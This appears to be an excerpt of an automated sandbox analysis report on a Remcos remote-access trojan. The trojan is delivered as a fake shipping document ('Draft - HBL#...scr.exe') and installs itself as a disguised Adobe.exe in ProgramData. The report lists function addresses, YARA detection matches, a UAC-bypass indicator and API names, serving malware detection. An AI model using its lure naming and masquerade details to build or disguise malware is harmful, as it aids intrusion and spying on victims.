                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_004381683_2_00438168
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_004461F03_2_004461F0
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0043E2FB3_2_0043E2FB
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0045332B3_2_0045332B
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0042739D3_2_0042739D
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_004374E63_2_004374E6
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0043E5583_2_0043E558
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_004387703_2_00438770
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_004378FE3_2_004378FE
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_004339463_2_00433946
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0044D9C93_2_0044D9C9
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00427A463_2_00427A46
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0041DB623_2_0041DB62
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00427BAF3_2_00427BAF
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00437D333_2_00437D33
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00435E5E3_2_00435E5E
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00426E0E3_2_00426E0E
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0043DE9D3_2_0043DE9D
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00413FCA3_2_00413FCA
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00436FEA3_2_00436FEA
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 4_2_00CB43E84_2_00CB43E8
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 4_2_00CBE0944_2_00CBE094
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 4_2_00CB70514_2_00CB7051
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_100171945_2_10017194
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_1000B5C15_2_1000B5C1
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0044B0406_2_0044B040
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0043610D6_2_0043610D
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_004473106_2_00447310
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0044A4906_2_0044A490
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0040755A6_2_0040755A
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0043C5606_2_0043C560
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0044B6106_2_0044B610
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0044D6C06_2_0044D6C0
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_004476F06_2_004476F0
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0044B8706_2_0044B870
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0044081D6_2_0044081D
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_004149576_2_00414957
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_004079EE6_2_004079EE
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_00407AEB6_2_00407AEB
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0044AA806_2_0044AA80
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_00412AA96_2_00412AA9
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_00404B746_2_00404B74
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_00404B036_2_00404B03
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0044BBD86_2_0044BBD8
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_00404BE56_2_00404BE5
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_00404C766_2_00404C76
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_00415CFE6_2_00415CFE
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_00416D726_2_00416D72
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_00446D306_2_00446D30
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_00446D8B6_2_00446D8B
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_00406E8F6_2_00406E8F
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_0040503810_2_00405038
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_0041208C10_2_0041208C
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_004050A910_2_004050A9
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_0040511A10_2_0040511A
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_0043C13A10_2_0043C13A
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_004051AB10_2_004051AB
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_0044930010_2_00449300
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_0040D32210_2_0040D322
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_0044A4F010_2_0044A4F0
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_0043A5AB10_2_0043A5AB
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_0041363110_2_00413631
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_0044669010_2_00446690
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_0044A73010_2_0044A730
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_004398D810_2_004398D8
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_004498E010_2_004498E0
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_0044A88610_2_0044A886
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_0043DA0910_2_0043DA09
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_00438D5E10_2_00438D5E
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_00449ED010_2_00449ED0
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_0041FE8310_2_0041FE83
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 10_2_00430F5410_2_00430F54
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_004050C211_2_004050C2
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_004014AB11_2_004014AB
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_0040513311_2_00405133
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_004051A411_2_004051A4
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_0040124611_2_00401246
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_0040CA4611_2_0040CA46
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_0040523511_2_00405235
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_004032C811_2_004032C8
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_0040168911_2_00401689
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_00402F6011_2_00402F60
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 12_2_02A243E812_2_02A243E8
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 12_2_02A2E09412_2_02A2E094
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 12_2_02A2705112_2_02A27051
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 12_2_056C91F012_2_056C91F0
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 12_2_056C726012_2_056C7260
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 12_2_056C727012_2_056C7270
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 12_2_056CDF7012_2_056CDF70
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 12_2_056C6E3812_2_056C6E38
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 12_2_056C890812_2_056C8908
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 12_2_056C891812_2_056C8918
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 12_2_056C6A0012_2_056C6A00
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_027743E815_2_027743E8
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_0277E09415_2_0277E094
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_0277705115_2_02777051
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_0729727015_2_07297270
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_072991F015_2_072991F0
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_0729E0B015_2_0729E0B0
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_07296E2815_2_07296E28
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_07296E3815_2_07296E38
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_07296A0015_2_07296A00
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_0729890815_2_07298908
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_0729891815_2_07298918
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_074CF78815_2_074CF788
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_074C41C415_2_074C41C4
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_074CF77815_2_074CF778
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_074CCAC715_2_074CCAC7
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_074CCAD815_2_074CCAD8
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_074C41BD15_2_074C41BD
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_074C004015_2_074C0040
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_074CC84015_2_074CC840
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 15_2_074CC83015_2_074CC830
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 18_2_00BF43E818_2_00BF43E8
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 18_2_00BFE09418_2_00BFE094
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 18_2_00BF705E18_2_00BF705E
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: String function: 00434E10 appears 54 times
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: String function: 00402093 appears 50 times
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: String function: 00434770 appears 41 times
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: String function: 00401E65 appears 34 times
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: String function: 004169A7 appears 87 times
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: String function: 0044DB70 appears 41 times
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: String function: 004165FF appears 35 times
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: String function: 00422297 appears 42 times
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: String function: 00444B5A appears 37 times
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: String function: 00413025 appears 79 times
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: String function: 00416760 appears 69 times
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000000.00000002.2053174536.00000000058A0000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameArthur.dll" vs Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000000.00000002.2048765608.0000000004072000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMontero.dll8 vs Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000000.00000002.2038479111.0000000000FAE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000000.00000002.2048765608.0000000004039000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameArthur.dll" vs Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000000.00000002.2042873217.0000000003087000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameArthur.dll" vs Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000000.00000002.2053643055.0000000007350000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameMontero.dll8 vs Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000003.00000002.2041417968.0000000001531000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamelH vs Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeBinary or memory string: OriginalFilenamelHJn.exeF vs Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                  Source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                  Source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                  Source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                  Source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                  Source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                  Source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                  Source: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                  Source: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                  Source: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                  Source: 00000000.00000002.2048765608.0000000004B7E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                  Source: 00000000.00000002.2048765608.0000000004039000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                  Source: 00000000.00000002.2048765608.0000000004072000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                  Source: Process Memory Space: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe PID: 7348, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                  Source: Process Memory Space: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe PID: 7492, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                  Source: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                  Source: Adobe.exe.3.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.40524c8.1.raw.unpack, kAOj1Y7pfP90kycNNw.csCryptographic APIs: 'CreateDecryptor'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.58a0000.4.raw.unpack, kAOj1Y7pfP90kycNNw.csCryptographic APIs: 'CreateDecryptor'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, Fh1UuuAujXdFMfO7oU.csSecurity API names: _0020.SetAccessControl
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, Fh1UuuAujXdFMfO7oU.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, Fh1UuuAujXdFMfO7oU.csSecurity API names: _0020.AddAccessRule
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, Fh1UuuAujXdFMfO7oU.csSecurity API names: _0020.SetAccessControl
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, Fh1UuuAujXdFMfO7oU.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, Fh1UuuAujXdFMfO7oU.csSecurity API names: _0020.AddAccessRule
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.7350000.5.raw.unpack, DIqwQSSEKDxovHMnnd.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, DIqwQSSEKDxovHMnnd.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: classification engineClassification label: mal100.rans.phis.troj.spyw.expl.evad.winEXE@30/7@1/2
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_004182CE GetLastError,FormatMessageW,FormatMessageA,LocalFree,free,6_2_004182CE
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00417952 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,3_2_00417952
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 11_2_00410DE1 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueA,GetProcAddress,AdjustTokenPrivileges,CloseHandle,11_2_00410DE1
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_00418758 GetDiskFreeSpaceW,GetDiskFreeSpaceA,free,6_2_00418758
